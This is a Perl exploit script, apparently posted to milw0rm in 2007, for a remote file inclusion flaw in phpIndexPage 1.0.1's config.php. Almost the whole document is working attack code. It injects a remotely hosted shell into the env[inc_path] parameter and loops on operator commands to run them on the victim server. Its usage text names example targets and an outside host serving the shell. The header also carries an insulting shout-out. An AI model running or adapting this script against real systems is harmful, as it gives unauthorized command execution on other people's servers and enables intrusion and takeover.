phpIndexPage <= 1.0.1 (config.php) Remote Inclusion Exploit

#!/usr/bin/perl ########################################################################################################## # # # phpindexpage 1.0 & 1.0.1 (config.php)Remote File Include Vulnerability # # # # Bug Found : DeltahackingTEAM discovery:Dr.Pantagon & Exploitet By Dr.Pantagon # # # # Class: Remote File Include Vulnerability # # # # exemplary Exp: http://www.site.com/config.php?env[inc_path]= # # # # Remote: Yes # # # # Type: Highly critical # # # # Vulnerable Code:include(&#34;$env[inc_path]/config.dist.php&#34;); # # # # Download:http://heanet.dl.sourceforge.net/sourceforge/phpindexpage/phpindexpage-1.0.1.tgz # # # # Ptach : www.Advistory.deltasecurity.ir # # # # Bug Found : DeltahackingTEAM Exploitet Discovered & Exploitet: Dr.Pantagon&#60;Dr.Pantagon[A]Gmail.com # # # # Exploit: phpindex.pl # # # # Web Site:www.deltasecurity.ir # # # #SP FUCK.............: z_zer0c00l(floozie Mother Test 100%=z_zer0c00l=misbegotten:D) # ########################################################################################################## use LWP::UserAgent; use LWP::Simple; $target = @ARGV[0]; $shellsite = @ARGV[1]; $shellcmd = @ARGV[2]; $file = &#34;config.php?env[inc_path]=&#34;; if(!$target || !$shellsite) { usage(); } header(); print &#34;Type &#39;exit&#39; to quit&#34;; print &#34;[cmd]\$&#34;; $cmd = &#60;STDIN&#62;; while ($cmd !~ &#34;exit&#34;) { $xpl = LWP::UserAgent-&#62;new() or die; $req = HTTP::Request-&#62;new(GET=&#62;$target.$file.$shellsite.&#39;?&&#39;.$shellcmd.&#39;=&#39;.$cmd) or die(&#34;\n\n Failed to connect.&#34;); $res = $xpl-&#62;request($req); $r = $res-&#62;content; $r =~ tr/[\n]/[&#234;]/; if (@ARGV[4] eq &#34;-r&#34;) { print $r; } elsif (@ARGV[5] eq &#34;-p&#34;) { # if not working change cmd variable to null and apply patch manually. $cmd = &#34;echo if(basename(__FILE__) == basename(\$_SERVER[&#39;PHP_SELF&#39;])) die(); &#62;&#62; list_last.inc&#34;; print q { } } else { print &#34;[cmd]\$&#34;; $cmd = &#60;STDIN&#62;; } } sub header() { print q { ################################################################################# Only Str0ke Bug Found : DeltahackingTEAM phpindex.pl - Remote File Include Exploit Vulnerability discovered and exploitet by Dr.Pantagon Dr.Pantagon@Gmail.com www.DeltaSecurity.ir ################################################################################# }; } sub usage() { header(); print q { ######################################################################## Usage: perl Yrch!.pl &#60;Target website&#62; &#60;Shell Location&#62; &#60;CMD Variable&#62; &#60;-r&#62; &#60;-p&#62; &#60;Target Website&#62; - Path to target eg: www.lashiyane.org &#60;Shell Location&#62; - Path to shell eg: d4wood.by.ru/cmd.gif &#60;CMD Variable&#62; - Shell command variable name eg: Pwd &#60;r&#62; - Show output from shell &#60;p&#62; - config.php Example: perl Axiom.pl http://localhost/include http://localhost/s.txt cmd -r -p ######################################################################## }; exit(); } # Reza Yavari # milw0rm.com [2007-01-20]